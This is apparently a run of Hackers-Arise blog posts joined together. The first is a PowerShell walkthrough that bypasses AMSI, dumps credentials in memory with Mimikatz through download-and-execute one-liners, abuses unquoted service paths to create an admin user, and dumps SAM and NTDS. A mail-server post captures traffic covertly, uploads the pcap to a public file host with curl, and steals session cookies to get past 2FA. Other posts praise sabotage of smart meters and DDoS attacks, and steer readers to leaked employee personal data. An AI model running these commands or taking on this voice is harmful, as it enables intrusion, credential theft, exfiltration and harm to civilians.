Welcome back, pentesters!

For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.

Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.

AMSI Bypass

AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI  or to alter it so it won’t match detection rules.

You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on our target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we wouldn’t need any AMSI bypass.

Patching AMSI

We need to patch AMSI using our script. Let’s download it:

PS > wget   https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it. 

It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.

Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService  

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then we execute the script to dump SAM and SYSTEM hives:

PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1

PS > .\ntds.ps1

# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

kali > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.

Connect to the DC:

kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command to save them. Then run this command:

kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization. 

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We continue our series on SCADA system compromise with another breach that recently happened. A while back, another Russian organization was compromised by Cyber Cossacks, a hacker unit in Ukraine.

The team was trained by OccupyTheWeb to defend Ukraine digitally, and every so often they check back in and share what they’ve managed to pull off.

Introduction

The compromised company was established in the early 2000s and mainly worked on designing and implementing integrated solutions for automation and monitoring. For years they directly supported the Russian state by doing business in Crimea.

The same company produced hardware and software for these IoT devices. They were making smart meters, data loggers, PLCs, industrial routers and protocol converters. These products were installed across a wide range of sectors in Russia.

Initial Access and Infection

The company was compromised through a phishing attack, with the payload embedded in an email attachment. Security products can fail to keep up with newer custom RATs that get constantly updated to dodge standard detection methods.

IoT System Monitoring and Interference

Over the course of several days, the group analyzed the target environment’s internal network. They maintained access for approximately six months, monitoring activity and altering certain datasets. They didn’t simply wipe the systems, which would have caused only a temporary impact, the group made changes over an extended period to gradually corrupt the collected data.

This would make the backups poisoned as well. That insured that any system restoration would basically rely on compromised figures.

The group also found images from different locations, which helped them understand the configuration and physical deployment of the hardware.

Here is an example of their systems. The thick cable carries all the data back and forth, while the smaller wires tap into each meter’s output and send it into the controller. Behind the scenes it analyzes those signals and makes sure everything stays within safe limits.

They also shared several types of control cabinets. More sophisticated control panels had compact PLCs with a series of I/O modules snapped onto DIN rails. This setup basically functions as a small industrial control center. The PLC receives data from sensors, makes logical decisions and then triggers specific outputs. All managed in this cabinet.

Impact on Private Consumers

Beyond interfering with commercial systems, the group extended their efforts to installations intended for private consumers. These were smart meters responsible for monitoring water and electricity usage. 

In response to ongoing Russian attacks on Ukrainian energy infrastructure, the group selectively disabled electricity to certain users.

They also interfered with water meters and cut off access to water where it was possible.

These installations were all centrally connected to the main server through antenna links mounted on rooftops and that’s how the hackers could receive telemetry from them.

Impact

Above you can see a part of the redacted list of affected companies in different regions of Russia, mainly in Moscow. Each item in the list represented a node within the system. Changes were made to various parameters. As mentioned earlier, the most strategic part of the attack was poisoning the backups. When the IT department tried to recover from these backups, the restoration brought back corrupted values.

By late June 2025, the company data and the primary systems responsible for processing and managing the connected nodes were destroyed. In total, that affected approximately 3,500 meter installations across Russia.

Conclusion

A good understanding of IoT and industrial control systems with good strategic planning can produce a widespread impact. Instead of just destroying systems, the group sabotaged the entire mechanism of restoration and continuity.

If you want to know how to hack and secure SCADA and IoT systems, we invite you to our training led by OccupyTheWeb.

The post SCADA Hacking and Security – Compromising IoT Systems first appeared on Hackers Arise.

Welcome back, my cyberwarriors!

In this series, we will detail how an individual or small group of cyberwarriors can impact global geopolitics. The knowledge and tools that YOU hold are a superpower that can change history.

Use it wisely.

To begin this discussion, let’s look at the actions of a small group of hackers at the outset of the Russian invasion of Ukraine. We will detail these actions up to the present, attempting to demonstrate that even a single individual or small group can influence global outcomes in our connected digital world. Cyber war is real and even a single individual can have an impact on global political outcomes.

Let’s begin in February 2022, nearly 3 years ago. At that time, Ukraine was struggling to throw off the yoke of Russian domination. As a former member state of the Soviet Union (the successor to the Romanov’s Russian Empire), they declared their independence, like so many former Soviet republics (such as Estonia, Latvia, Lithuania, Georgia, Armenia, Kazakhstan, and others) from that failed and brutal alliance in 1991 (this is the moment that the Soviet Union disintegrated). This union failed primarily due to the inability of the Soviet Union to address the needs of their citizens. Simple things like food, clean water, and consumer goods. And, of course, the tyranny.

Russia, having lost absolute control of these nations, attempted to maintain influence and control by bending their leaders to Putin’s will. In Ukraine, this meant a string of leaders who answered to Putin, rather than the Ukrainian people. In addition, Russian state-sponsored hackers such as Sandworm, attacked Ukraine’s digital infrastructure repeatedly to create chaos and confusion within the populace. This included the famous BlackEnergy3 attack in 2014 against the Ukrainian power transmission system that blacked out large segments of Ukraine in the depths of winter (for more on this and other Russian cyberattacks against Ukraine, read this article).

In February 2022, the US and Western intelligence agencies warned of an imminent attack from Russia on Ukraine. In an unprecedented move, the US president and the intelligence community revealed, (based upon satellite and human intelligence-) that Russia was about to invade Ukraine. The new Ukrainian president, Volodymyr Zelenskyy, publicly denied and tried to minimize the probability that an attack was about to take place. Zelenskyy had been a popular comedian and actor in Ukraine (there is a Netflix comedy made by Zelenskyy before he became president named “Servant of the People”) and was elected president in a landslide election as the people of Ukraine attempted to clean Russian domination from their politics and become part of the free Europe. Zelenskyy may have denied the likelihood of a Russian attack to bolster the public mood in Ukraine and not anger the Russian leader (Ukraine and Russia have long family ties on both sides of the border) .

We at Hackers-Arise took these warnings to heart and started to prepare.

First, we enumerated the key websites and IP addresses of critical and essential Russian military and commercial interests. There was no time to do extensive vulnerability research on each of those sites with the attack imminent, so instead, we readied one of the largest DDoS attacks in history! The goal was to disable the Russians’ ability to use their websites and digital communications to further their war ends and cripple their economy. This is exactly the same tactic that Russia had used in previous cyber wars against their former republics, Georgia and Estonia. In fact, at the same time, Russian hackers had compromised the ViaSat satellite internet service and were about to send Ukraine and parts of Europe into Internet darkness (read about this attack here).

We put out the word to hackers around the world to prepare. Tens of thousands of hackers prepared to protect Ukraine’s sovereignty. Eventually, when Russian troops crossed the border into Ukraine on February 24, 2022, we were ready. At this point in time, Ukraine created the IT Army of Ukraine and requested assistance from hackers across the world, including Hackers-Arise.

Within minutes, we launched the largest DDoS attack the Russians had ever seen, over 760GB/sec (as documented later by the Russian telecom provider, Rostelcom). This was twice the size of any DDoS attack in Russian history (https://www.bleepingcomputer.com/news/security/russia-s-largest-isp-says-2022-broke-all-ddos-attack-records/) This attack was a coordinated DDoS attack against approximately 50 sites in Russia such as the Department of Defense, the Moscow Stock Exchange, Gazprom, and other key commercial and military interests.

As a result of this attack, Russian military and commercial interests were hamstrung. Websites were unreachable and communication was hampered. After the fact, Russian government leaders estimated that 17,000 IP addresses had participated and they vowed to exact revenge on all 17,000 of us (we estimated the actual number was closer to 100,000).

This massive DDoS attack, unlike any Russia had ever seen and totally unexpected by Russian leaders, hampered the coordination of military efforts and brought parts of the Russian economy to its knees. The Moscow Stock Exchange shut down and the largest bank, Sberbank, closed. This attack continued for about 6 weeks and effectively sent the message to the Russian leaders that the global hacker/cyberwarrior community opposed their aggression and was willing to do something about it. This was a
first in the history of the world!

The attack was simple in the context of DDoS attacks. Most DDoS attacks in our modern era involve layer 7 resources to make sites unavailable, but this one was simply an attack to clog the pipelines in Russia with “garbage” traffic. It worked. It worked largely because Russia was arrogant and unprepared without adequate DDoS protection from the likes of Cloudflare or Radware.

Within days, we began a new campaign to target the Russian oligarchs, the greatest beneficiaries of Putin’s kleptocracy (you can read more about it here). These oligarchs are complicit in robbing the Russian people of their resources and income for their benefit. They are the linchpin that keeps the murderer, Putin, in power. In this campaign, initiated by Hackers-Arise, we sought to harass the oligarchs in their yachts throughout the world (the oligarchs escape Russia whenever they can). We sought to first (1) identify their yachts, then (2) locate their yachts, and finally (3) send concerned citizens to block their fueling and re-supply. In very short order, this campaign evolved into a program to capture these same super yachts and hold them until the war was over, eventually to sell and raise funds to rebuild Ukraine. We successfully identified, located, and seized the top 9 oligarch yachts (worth billions of USD), including Putin’s personal yacht (this was the most difficult). All of them were seized by NATO forces and are still being held.

In the next few posts here we will detail;

1. The request from the Ukraine Army to hack IP cameras in Ukraine for surveillance and our success in doing so;

2. The attacks against Russian industrial systems resulted in damaging fires and other malfunctions.

   Look for Master OTW’s book, “A Cyberwarrior Handbook”, coming in 2026.

The post The CyberWarrior Handbook, Part 01 first appeared on Hackers Arise.

Welcome back, cyberwarriors.

It’s Collateral here again. Today we want to show you an attack vector that can bypass password complexity and 2FA. It was successful during one of our latest pentests. The environment we were testing was complex with segmented networks. In a situation like that, the best move is usually traffic analysis.

During the pentest we got access to a machine used for corporate mail. No details were given about the machine or the environment around it, but we noticed that the host was running multiple Docker containers. On the surface it looked like the company had done a decent job hardening things. Looking manually for configs across all these different apps is always a pain, so we used LaZagne instead to look for credentials.

LaZagne

LaZagne is a credential recovery tool that can parse configs and find credentials in them. It’s pretty easy to work with and the output looks clean. The tool can often find passwords buried in odd locations.

bash# > python3 laZagne.py

Not every entry you see will be a valid login, but most of the passwords are usable. We found the root credentials for MySQL which gave us database access. That’s already enough to temporarily adjust the password entries to analyze mail overnight.

# Docker shows 127.0.0.1:13306->3306/tcp

bash# > mysql -h 127.0.0.1 -P 13306 -u root -p

The password hashes used BLF-CRYPT format, which can be reproduced using the container itself, if you actually decide to manipulate the entries.

Network Traffic Analysis

These password hashes won’t help, because they’re slow to crack and some of them are backed by 2FA. Logging in with a cracked password might trigger a verification code sent to the user’s phone, which will definitely raise alarms.

For this attack we used tcpdump. A lot of people won’t like it because it’s a CLI tool and it’s boring writing those long oneliners explaining what you want to capture, but it’s quite powerful. It helped us understand the network’s behavior and find out which services were in use. You can still open your pcaps in Wireshark if you want to. Or better yet NetworkMiner, which will dissect every packet and sort all the findings. It’s often used for quick credential searches in pcaps because the filters are really strong

Above you can see a general traffic capture to get a sense of the environment. In secure networks where active scanning with nmap and other tools gets flagged, tcpdump is a better choice. By looking through the traffic flow, we can see the communication paths. We focused on HTTP traffic and found POST requests made to the mail server. The requests showed the internal proxy, where a publicly accessible mail portal forwarded traffic to a local Linux machine.

As you can see, the request contains the original IP address. Even though the main site used HTTPS, internal traffic was still HTTP. It’s a pretty common mistake.

Looks pretty good, right? They still think so.

Identifying the Port

To capture the credentials we had to find the correct port. It wasn’t on the usual 80 or 8080. If you look closely at the POST request, you will find it. It was 20000. That’s security through obscurity, as OTW says.

With that in hand, we started capturing the traffic:

bash# > tcpdump -i interface tcp port 20000 -w /etc/systemd/20k_01.pcap

Change the interface name to match yours and always store captures in obscure locations. Keep in mind, the tcpdump process will show up in the process list, unless the you use Zapper to hide it.

bash# > ps aux | grep tcpdump

Give it a few hours during the busy day and come back for your traffic capture. It’s always better to find the necessary ports and listen to their traffic instead of throwing a full capture at everything. The size will grow fast and the admins will notice a problem soon enough, especially if there isn’t much storage left to begin with.

# Upload the pcap to a free file host

bash# > file=20k_01.pcap
bash# > curl -F "reqtype=fileupload" -F "fileToUpload=@$file" https://catbox.moe/user/api.php

# It will give you the link in the output  

Next go to Wireshark, click File > Export objects > HTTP.

Export everything and read through all the connect packets.

kali > cat connect * | jq .

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using Cookie-Editor and you’re in.

Streamlining With TCPDump

Once you know what to look for, you can grep the keywords you need:

kali > tcpdump -A -r 20k_05.pcap port 20000 | grep “userName”

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using an extension like Cookie-Editor and you’re in.

We found folders labeled “Accesses” and “VM”. Emails showed the company hosted client services on virtual machines. All the credentials for the VMs were stored in plaintext, which is basically a goldmine for lateral movement and pivot.

Conclusion

Network traffic isn’t always the first thing hackers and pentesters go with, but that underestimates it significantly. As you’ve seen, there’s a lot that can be found in it if you dedicate some time. Seeing HTTP used inside organizations is so common. That’s a very common mistake that leaves all the communication wide open. So if you know how to look for things, you’ll find your answer in a subtle way. All this company noise is an opportunity during a pentest for us.

The post Pentesting: Taking Over A Corporate Mail – Mailcow first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

In the ongoing war between Ukraine and Russia, the battlefield has expanded far beyond trenches and artillery positions. In previous articles, we discussed how hackers attack Russian SCADA/ICS systems, conduct reconnaissance by hacking cameras, and much more. Hacktivists operate alongside conventional military forces to degrade enemy capabilities.

Recently, Ukrainian OSINT communities have published an interactive map cataloging 6,088 Russian defense factories, complete with detailed personal information on 1.2 million employees working within Russia’s military-industrial complex. This isn’t simply a list of company names and addresses. The database includes passport numbers, phone numbers, email addresses, and home addresses for over a million individuals involved in producing everything from missile systems and ammunition to drones and electronic warfare equipment.

In this article, we will analyze this database and explore how it may assist hackers in future cyber operations. Let’s get rolling!

Fire Up the Map

To get started with the map, open the website https://map.osint-varta.com/ in your browser. The site’s default language is Ukrainian, but you can easily translate the content using the built-in translator in your browser or by using a translation plugin.

Upon opening the website, you will see an interactive map displaying defense factories.

The website catalogs 6,088 enterprises spanning from Kaliningrad to Vladivostok, including factories involved in weapon production, repairs, and support infrastructure. All these factories are sorted by 16 production sectors for precise searches. For example:

Key Component Manufacturing (1,320 enterprises) – Suppliers of critical parts like electronics and materials.

Repair, Modernization, and Maintenance (1,231 enterprises) – Facilities keeping Russia’s arsenal operational.

Radioelectronics and Electronic Warfare (420 enterprises) – Tech for jamming signals and cyber defenses.

And more, covering everything from small arms to chemical protection gear.

By scrolling down, we can see company categories organized by sector, sanction status, and risk indicators.

Let’s take a closer look at the Radioelectronics and EW category. Here, we can access a well-organized page that allows us to search for the required company.

For example, let’s explore LLC “RESONANCE” in more detail.

At the top of the page, we find a wealth of information, such as whether the company is under sanctions, what it produces, a description of the company, and other relevant details. By scrolling down, we can access even more valuable information, including employee details.

This information includes names, passport data, email addresses, phone numbers, and locations – all of which can be easily exported as a CSV file.

Additionally, in the navigation bar, we can click “Managers” to search for CEOs and founders. The webpage provides the Tax Identification Number, positions, and relationships with the companies.

If you find the lists unclear, the website also provides graphs that illustrate the relationships between the companies.

Summary

The recently published database by Ukrainian OSINT communities offers a significant resource for understanding Russia’s military-industrial complex. The interactive map provides in-depth details about each company, including employee data that could be leveraged in future cyber endeavors.

For further insights into cyber operations and OSINT, consider our Subscriber Pro training package.

The post Open Source Intelligence (OSINT): Ukrainian Hacktivists Publish Massive Database of Russian Defense Facilities and Employee Data first appeared on Hackers Arise.

Hackers-Arise Offers the Best Cybersecurity Training on the Planet!

We attract the best students from around the world and make them the best cyberwarriors on the planet!

Don’t take our word for it, look what are students are saying! These are all unsolicited testimonials from real people!

To participate in this state-of-the-art training, we offer multiple training packages. One for nearly every budget and every skill level, such as:

Member Gold

This is a monthly program where you can study online over 40 courses.

Subscriber

This is our most popular program. You can attend live trainings by Master OTW and study over 40 previous courses in the Subscriber package online. These courses are for those in the beginner to intermediate level.

Subscriber Pro

This is our ultimate package. It includes all the courses available at Hackers-Arise. Includes our advanced and specialty courses such as Satellite Hacking, SCADA Hacking, IoT Hacking, IP Camera Hacking, Bitcoin Forensics and many more!

What are you waiting for? Get started in the most exciting field in IT with the best training company, Hackers-Arise!

For more on our many training packages and Subscriptions, click here.

The post Hackers-Arise Offers the Best Cybersecurity Training on the Planet! Listen to What our Students are Saying! first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

IoT hacking is one the cutting-edge fields of cybersecurity. This includes IP cameras, Bluetooth devices, Home Security systems, Smart Home devices, and well…unfortunately, medical devices. Each of these devices is vulnerable to attackers taking control of the device, using it in a botnet, or even using it as foothold within your network to pivot to more valuable systems in your home or office.

I really enjoy when mass media depicts hackers accurately. Most TV shows and movies make the hackers look like wizards with superpowers but, in reality, we are just regular people…with superpowers. Mr Robot is my favorite show because it depicts real hacks and hacking.

Often, art imitates and life, and sometimes life imitates art. There was an intriguing TV show a few years back called Homeland. It was about an American soldier captured in Iraq who is turned against his country. When he is released from captivity and sent back to the US, he is determined to exact his revenge upon the US Vice-President who had committed war crimes in Iraq that he witnessed (most people would infer that this character is the former US VP, Dick Cheney). To do so, he attempts to hack his heart pacemaker. Is this hack real?

Let’s examine it.

The Scene

In the show, Nicholas Brody, the American soldier, assassinates the U.S. Vice President by hacking his heart pacemaker. In this case, Brody learns the VP has a heart pacemaker (the real-life Cheney does have a pacemaker) with wireless management capability to make it easier for doctor to monitor and control. Brody then gets the device’s serial number via a corrupt congressman. He then remotely connects to the pacemaker using the serial number and sends a lethal command, causing the VP’s heart to fail instantly killing the Vice-President and accomplishing his mission.

How Real Is This?

This scene is not pure fiction. The Homeland scenario is dramatized, but the core risk is real. A famous hacker known as Barnaby Jack, developed a hack that he said could kill someone from 50ft away. Suspiciously, he died suddenly before he could give the details at a cybersecurity conference.

Here are the steps necessary to execute (no pun intended) this attack.

Step 1. Wireless Medical Devices Are Vulnerable

• Many pacemakers and implantable cardioverter-defibrillators (ICDs) use wireless protocols (like Bluetooth or proprietary RF) to communicate with doctors’ equipment for monitoring and reprogramming.
• Security researchers have shown these wireless links can be intercepted or spoofed, especially if encryption/authentication is weak or missing.

Step 2. Serial Numbers and Authentication

• In Homeland, the serial number is used as a “password.” In reality, some devices have used static or easily guessable credentials, and some have been shown to accept commands with minimal authentication.
• Security researchers (like Barnaby Jack) have demonstrated attacks requiring only proximity and a bit of device info to take control of pacemakers and ICDs.

Step 3. What Can a Hacker Do?

• Pacemakers: Typically, they only deliver low-voltage pulses to regulate heartbeat. They cannot deliver a lethal shock.
• ICDs: These can deliver high-voltage shocks to correct dangerous arrhythmias. If hacked, an attacker could theoretically trigger a shock at the wrong time, potentially inducing heart attack.
• Remote attacks: If the device is internet-connected (directly or via a paired device), attacks could be launched from anywhere.

Step 4. Real-World Paranoia

• Former VP Dick Cheney had the wireless feature of his own ICD disabled out of fear of assassination by hacking.
• The FDA has recalled devices over vulnerabilities, and researchers have repeatedly shown proof-of-concept hacks on medical devices

Attack Chain: How a Real-World Pacemaker/ICD Hack Might Work

Step	Technique/Vector
Recon	Identify device make/model (hospital records, social engineering, physical access)
Info Gathering	Obtain serial number (physical inspection, medical leaks, social engineering)
Wireless Probing	Use SDR, Bluetooth, or RF tools to sniff device traffic
Authentication Bypass	Exploit weak/no authentication to connect
Command Injection	Send malicious commands (change pacing, trigger shock on ICD)
Impact	Disrupt heart rhythm, potentially cause cardiac event

Why This Matters to You

• Medical devices are computers: Old, unpatched, and often lacking basic security controls.
• Attack surface is growing: More devices connect via Wi-Fi, Bluetooth, or even the internet for remote monitoring.
• Life-and-death consequences: Unlike most hacks, these can kill.

Summary

Although the Homeland hack is dramatized, the underlying threat is real. IoT hacking is among the most important fields of cybersecurity and is often overlooked. IoT devices, like this heart-pacemaker, are often shipped with little concern for security. If the medical device industry does not up its cybersecurity game, sadly, people will die.

As a hacker or defender, know that:

• Medical device security is often an afterthought.
• Wireless and networked implants are vulnerable to attack if not properly secured.
• Physical and cyber hygiene (disabling wireless, patching firmware, strong authentication) is critical for life-critical systems.

Look for our upcoming Medical Device Hacking training

The post The “Homeland” VP Pacemaker Hack: Is This Attack Realistic? first appeared on Hackers Arise.

The post Remaining Anonymous: Getting Started with Tails first appeared on Hackers Arise.

Welcome back, my aspiring cyber warriors!

In this post I want to invite you on a wild joy ride to the best of AI cybersecurity. As you know, Hackers-Arise has initiated a worldwide contest, the Wittgenstein Award, meant to award the best AI cyber security agents from any place on earth (right now, we have over 100 contestants from over 20 countries). We are setting out to produce the very best AI agents that are secure, don’t leak your data to big brother, that stay small, run locally, are open-source and open-weight. These are the elements that we’re looking for.

As we look around the AI industry in August 2026, we’re seeing the industry moving in the direction that I first laid out in the Hackers-Arise AI Manifesto. In that manifesto, I laid out the key elements that would make for an excellent AI for cyber security. Those people who put together the best models and agents will be awarded $15,000. That’s a nice little prize but you, as part of the Hackers Arise team, will be working directly with us to develop the very best AI cyber security agents. You’ll be part of the process, you’ll work as part of the team, and you’ll learn how to specify and how to maintain these models. If you’re working in an institution, then you can implement it into that institution later on. If you get a job that specifies that you need to implement AI cybersecurity agents, you can go and bring these skill sets with you because you’ve done it already and you’ve done it with the best.

We’re inviting you to join us on this joyride. We want your input. We love community input on anything that we’re doing. If you see something in our development work that you don’t like, you’re welcome to criticize it and change it to make it better. That’s what we want, right? Hopefully you’ll join us. All Subscriber Pro‘s will be eligible to participate in this program and will actually have access to the model and the agent when we put it all together and release it to the world!

The post Join Us on a Joy Ride to the Best of AI Cybersecurity! first appeared on Hackers Arise.

The post Software Defined Radio (SDR) for Hackers: Choosing the Best Hardware for SDR first appeared on Hackers Arise.